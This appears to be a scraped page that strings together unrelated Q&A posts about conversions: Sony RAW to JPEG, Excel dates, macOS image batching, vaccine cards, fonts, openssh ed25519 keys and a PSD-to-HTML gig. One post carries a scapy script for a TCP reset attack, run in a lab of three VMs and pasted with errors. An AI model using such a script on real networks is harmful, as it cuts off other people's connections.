image quality – How can I automatically convert Sony RAW (ARW) to JPEGs as good as the camera creates itself?

One of the other answers, by @Marco, has a negative score, and that is the one that I ended up preferring:

exiftool -b -PreviewImage IN.ARW > OUT.jpg

As pointed out in the comments, this has the disadvantage of not preserving the full resolution of the image. On my 14-year-old camera, the preview image extracted by ExifTool is 1616 x 1080, not quite the resolution of my monitor, but good enough for a web page. The other option for me, since I didn’t want to use proprietary software, was @xiota’s suggestion to use the command line interface of a GUI tool. The tool that I had been using is DarkTable, and the command-line is very simple:

darktable-cli IN.ARW > OUT.jpg

Perhaps for the future, I should read the user’s manual and try to get the camera to save high-resolution JPEGs, but for my immediate needs, the exiftool extraction option produced a suitable resolution and far superior colors.

It’s unfortunate that, at least in my case, the DarkTable default output is so much lower quality than whatever the software in the camera is producing. However, I guess Sony put a lot of work into their software.

I decided to post this additional answer, because I figured I’m not the only web user who is willing to sacrifice resolution for color quality, and I wanted to make sure that the Marco’s answer didn’t get ignored or deleted.

Output of DarkTable (originally 4288 x 2856):

darktable-cli output

Output of ExifTool (originally 1616 x 1080):

exiftool output

Which one would you want to see on a web page?

Also, before you downvote this answer, note that the OP asked for:

  • “software (for Linux, eventually Windows) that helps me to have similar effect like auto in my camera (convert arw into jpeg)?”

    (Check. This software produces an identical effect to that of the camera’s firmware, because it is extracting the output of that firmware.)

  • “I want software to do that and I want to have jpegs as good as camera can process”

    (The jpegs extracted by exiftool are lower resolution than the camera can process – but aside from that, the quality is the same, because they came from the camera. Other answers produced inferior output for my use case)

  • “I want software that can choose proper settings like the camera does.”

    (In one sense, exiftool is not choosing the settings; in another sense, it is choosing exactly the same settings as the camera…)

microsoft excel 2010 – I need to have the “year” convert to this calendar year 2021 while maintaining the day and month

Eg. 09/25/2003 would need to reflect 09/25/2021. Each cell has a different date associated with a “policy” so I’d like a formula that will change just the “year” to reflect this calendar year 2021. Essentially, read the “year” and add the appropriate number of years to equal 2021, then return the value (cell) to reflect the same day/month with updated year.

macos – Batch convert BMP to both TIFF and JPEG, then have the converted images moved into respective folders

I’m trying to modernise a film scanning workflow and need some guidance on how to automate my tasks more efficiently.

So let me first describe the situation and workflow that I need.

The film scanner produces a folder with the actual film scans (.bmp) alongside cache/metadata files that are of no use at all (shown here as .xx and .zz). A sample directory is as follows:

    - 01.xx
    - 02.xx
    - 03.xx
    - 01.zz
    - 02.zz
    - 03.zz
    - 01.bmp
    - 02.bmp
    - 03.bmp

I need the final result to follow this structure:

        - 01.tiff
        - 02.tiff
        - 03.tiff
        - 01.jpg
        - 02.jpg
        - 03.jpg

Essentially the useless metadata files need to be deleted, and the .bmp files need to be converted to both .tiff and .jpeg files in their own subfolders with the Job Number as well.

Ideally I would like to also include LZW compression for the .tiff conversion if possible.

Currently I’m using a combination of manual copy/paste/delete, alongside 2 Automator Applications, 1 each for .jpeg and .tiff conversion. I’m only using a basic Get Specified Finder Items along with Change Type of Images.

It works, but it’s not perfect as lots of manual steps still need to be done. Especially when I have to repeat all the steps for multiple jobs.

The ideal solution would allow me to simply drag 1 or multiple Job folders into an Automator Application and have it do all the image conversion, subfolder creation, and deletion of unnecessary files without any intervention on my end.

However, I can’t seem to find a way to get the other steps done within Automator, and I get quite confused when I look at sample bash scripts that use sips. Many of the solutions I’ve seen online only solve one part of the problem that I’m facing (eg, just the image conversion, or just the folder creation), and I’m having trouble understanding the scripting language properly to combine them all together.

Any help with this would be greatly appreciated.

Thank you

networking – OverflowError: Python int too large to convert to C long – TCP Reset Attack code

I got the following code from here:

I tried to perform the attack using 3 Ubuntu VMs (Ubuntu 16.04.2 LTS
). Here’s my code:


from scapy.all import *

tcp_rst_count = 10
victim_ip = ""
your_iface = "enp0s3"

# get a tcp packet by sniffing LAN
t = sniff(iface=your_iface, count=1,
                    lfilter=lambda x: x.haslayer(TCP)
                    and x(IP).src == victim_ip)

t = t(0)
tcpdata = {
        'src': t(IP).src,
        'dst': t(IP).dst,
        'sport': t(TCP).sport,
        'dport': t(TCP).dport,
        'seq': t(TCP).seq,
        'ack': t(TCP).ack

max_seq = tcpdata('ack') + tcp_rst_count * win
seqs = range(tcpdata('ack'), max_seq, int(win / 2))
p = IP(src=tcpdata('dst'), dst=tcpdata('src')) / 
                TCP(sport=tcpdata('dport'), dport=tcpdata('sport'),
                                flags="R", window=win, seq=seqs(0))

for seq in seqs:
        p.seq = seq
        send(p, verbose=0, iface=your_iface)
        print('tcp reset attack finish')

The code is run in VM1. I run it and I try to telnet from VM2 to VM3 and as soon as I do that I get the following exception:

Traceback (most recent call last):
  File "./", line 26, in <module>
    seqs = range(tcpdata('ack'), max_seq, long(win / 2))
OverflowError: Python int too large to convert to C long

What could be the culprit of this. While doing some research, I haven’t seen this exception occur with the range function.

usa – Can I convert the CDC vaccination card issued for COVID into an International Certificate of Vaccination?

As the world prepares to reopen for vaccinated tourism, I’m facing a conundrum in regards to the paperwork required. If you get the COVID vaccine in the US these days, you will be issued with a “Vaccination Record Card” that follows the CDC-mandated format. However international travel generally requires the International Certificate of Vaccination – or at least that’s what the requirements seem to be currently. Specifically, that’s what Iceland wants to see for non-EU/EEA issued vaccinations:

Certificates from the the World Health Organization (WHO) (the International Certificate of Vaccination or the Carte Jaune/Yellow Card) is also accepted for vaccines the WHO has validated.

Is there a way to convert the CDC-issued card into the International one at the moment? Can my doctor do this for example?

typography – Convert Text to PNG – (NexusFont alternative)

I need an alternative for NexusFont, or some soft that convert Text to PNG.

Custom folder with a list of fonts for PNG image – background transparent.

Unfortunately, NexusFont does not allow me to use background transparent and watermark the font that was used.


key generation – How to convert 64byte openssh-key-v1 to the resulting 32byte ed25519 private key

I wrote an openssh-key-v1 Protocol reader and extracted all fields according to the format definition:

 "openssh-key-v1"0x00    # NULL-terminated "Auth Magic" string
 32-bit length, "none"   # ciphername length and string
 32-bit length, "none"   # kdfname length and string
 32-bit length, nil      # kdf (0 length, no kdf)
 32-bit 0x01             # number of keys, hard-coded to 1 (no length)
 32-bit length, sshpub   # public key in ssh format
     32-bit length, keytype
     32-bit length, pub0
     32-bit length, pub1
 32-bit length for rnd+prv+comment+pad
     64-bit dummy checksum?  # a random 32-bit int, repeated
     32-bit length, keytype  # the private key (including public)
     32-bit length, pub0     # Public Key parts
     32-bit length, pub1
     32-bit length, prv0     # Private Key parts
     ...                     # (number varies by type)
     32-bit length, comment  # comment string
     padding bytes 0x010203  # pad to blocksize

After that is done I stucked with a 64byte uint8 list that somehow needs to be converted into a 32bit ed25519 binary private key. I could not find a definition on how to do that.

The only hint I got is that the private key is encoded according to RFC 4253 SSH Public Key format and RSA private keys swap e and n for n and e.

I assume that I have this:

(32-bit length) (RSA exponent or EC type name)
(32-bit length) (RSA modulus or EC x+y pair)

And need to calculate it on my own?

convert psd to html css bootstrap for $15

convert psd to html css bootstrap

1- Reusable unique elements with a different style.

2-jQuery Powered.

3-Bootstrap fully responsive layout and retina ready.

4-,W3C HTML5 and CSS3 Markup.

5- Easy to Customize Structure.

6-Code and Fullpage template.

7-Cross Browser Compatibility.

8-W3C Validate Code.

9-Google Free Fonts.

10-Fully Responsive.

11-Extensive Documentation.

12-Fully customizable & Easy to modify.

13-it will be by an 8px grid system.